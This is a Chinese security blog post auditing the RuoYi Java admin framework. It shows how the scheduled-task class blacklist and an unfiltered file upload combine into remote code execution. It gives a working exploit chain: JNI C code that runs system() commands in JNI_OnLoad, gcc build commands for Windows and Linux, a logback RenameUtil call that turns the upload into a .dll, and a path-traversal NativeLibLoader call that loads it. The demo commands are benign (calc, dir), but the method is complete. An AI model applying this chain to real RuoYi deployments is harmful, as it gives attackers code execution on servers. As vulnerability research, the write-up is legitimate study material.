Java代审&后台计划任务中的RCE攻击

Java代审&后台计划任务中的RCE攻击

T3Ysec 2025-05-19 14:49

鼎新安全

更多资料

持续关注

计划任务

先分析路由:

图片.png

对于java代码文件src/main/java/com/ruoyi/quartz/controller/SysJobController.java

添加计划任务逻辑

图片.png

首先先判断cron表达式是否正确

图片.png

又判断是否有rmi字段,目标字符串不允许’ldap(s)’调用和http

图片.png

然后遍历黑名单进行判断是否输入 违规类

图片.png

通过for遍历在通过把主字符串 str 从第 i 个字符开始,截取 len 长度,和 searchStr 的前 len 个字符做 逐个字符比较,支持忽略大小写去匹配是否存在关键字image.png
图片.png

最后一个逻辑匹配是否在白名单内

图片.png

黑名单的类:

public static final String[] JOB_ERROR_STR = {
"java.net.URL",
"javax.naming.InitialContext",
"org.yaml.snakeyaml",
"org.springframework",
"org.apache",
"com.ruoyi.common.utils.file",
"com.ruoyi.common.config",
"com.ruoyi.generator"
};

白名单的类:

public static final String[] JOB_WHITELIST_STR = { "com.ruoyi.quartz.task" };

执行任务逻辑

有个前置知识:

spring Quartz 的执行是通过Scheduler 类去执行的,该类下的方法

方法
说明
scheduleJob(JobDetail jobDetail, Trigger trigger)
添加并调度一个任务
addJob(JobDetail jobDetail, boolean replace)
添加任务但不触发
deleteJob(JobKey jobKey)
删除任务
getJobDetail(JobKey jobKey)
获取任务详情
checkExists(JobKey jobKey)
判断任务是否存在
triggerJob(JobKey jobKey)
立即执行任务
triggerJob(JobKey jobKey, JobDataMap dataMap)
立即执行任务并传参

[前端请求] → [JobController 添加任务]            

↓     

[Quartz Scheduler]            

↓    

[MyQuartzJob.executeInternal()] 输出执行逻辑

图片.png

调用jobService的run方法

图片.png

通过从数据库查询定时任务,在调用了scheduler.triggerJob(jobKey, dataMap) 立即执行任务并传参,最后的最后走到AbstractQuartzJob#doExecute(context, sysJob);

图片.png

图片.png

图片.png

这个逻辑我相信大家不陌生,就是简单的类的加载实例化方法

分析:传入ryTask.ryParams(‘ry’)

图片.png

在通过判断beanName是有包名,如果有那就调用包名的逻辑就是获取加载器去加载

图片.png

最后的我就不说了执行了方法传入了参数。

图片.png

总结

• 使用的类不在黑名单中

• 包含com.ruoyi.quartz.task字符串

• 不可以使用rmi ldap http字符串

文件上传

图片.png

image.png
图片.png

没有任何过滤的

结合导致RCE

有一种技术是JNI,java底层还是由c语言实现,而JAVA也允许用户去调用C代码,图如下

图片.png

其实利用思路很简单就是利用 c 语言生成 dll 文件,然后利用 System.loadLibrar 来加载执行就行了。

本地实现 JNI

先编写写一个命令执行的 java 类

package com.ruoyi.system;
public class cmd {
   public native void exec();
}

使用Javac编译为C头文件:

& "C:\Program Files\Java\jdk1.8.0_112\bin\javac.exe" -h . -cp . cmd.java

图片.png

在去编写我的恶意C代码:

#include "com_ruoyi_system_cmd.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

JNIEXPORT void JNICALL Java_com_ruoyi_system_cmd_exec(JNIEnv *, jobject)
{
   system("calc");
}

然后执行下面命令编写为 dll 文件

Win:

gcc -I "C:\Program Files\Java\jdk1.8.0_112\include" -I "C:\Program Files\Java\jdk1.8.0_112\include\win32" -shared -o cmd.dll .\cmd.c

Linux:

gcc -fPIC -I"/root/jdk8/include" -I "/root/jdk8/include/linux" -shared -o rce.so cmd.c

编译出来dll后我们通过本地的加载测试是否能正常执行

package com.ruoyi.system;

public class Text {
   public static void main(String[] args) {
       System.out.println("Library path: " + System.getProperty("java.library.path"));
       System.loadLibrary("cmd");
   }
}

图片.png

本地的演示。

问题

怎么让他在加载的时候就调用执行命令呢?

使用JNI_OnLoad解决:

#include <jni.h>
#include <stdio.h>

JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
   printf("JNI_OnLoad called! 执行初始化操作\n");

   // 这里写你想执行的命令,比如启动外部程序、初始化资源等
   system("dir"); // Windows示例,Linux可换成"ls"

   return JNI_VERSION_1_6;  // 返回JNI版本,必须返回合适的版本
}

图片.png

现在开始R Ruoyi吧

上传恶意JNI文件

图片.png

通过使用RenameUtil类方法去对文件名进行修改

ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying
("D:\ruoyi\uploadPath\upload\2025\05\19\com.ruoyi.quartz.task_20250519013441A002.txt",
"D:\ruoyi\uploadPath\upload\2025\05\19\com.ruoyi.quartz.task_20250519013441A002.dll");

图片.png

com.sun.glass.utils.NativeLibLoader.loadLibrary('../../../com.ruoyi.quartz.task_20250519013441A002')

执行加载JNI

图片.png

限制

1、知道对方上传文件的路径和当前网站的路径

2、对方JDK版本不能过高不然会不存在          com.sun.glass.utils.NativeLibLoader类(但是也可以寻找新的Loader类)com.sun.glass.utils.NativeLibLoader存在于JDK 8

END

注:鼎新安全有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。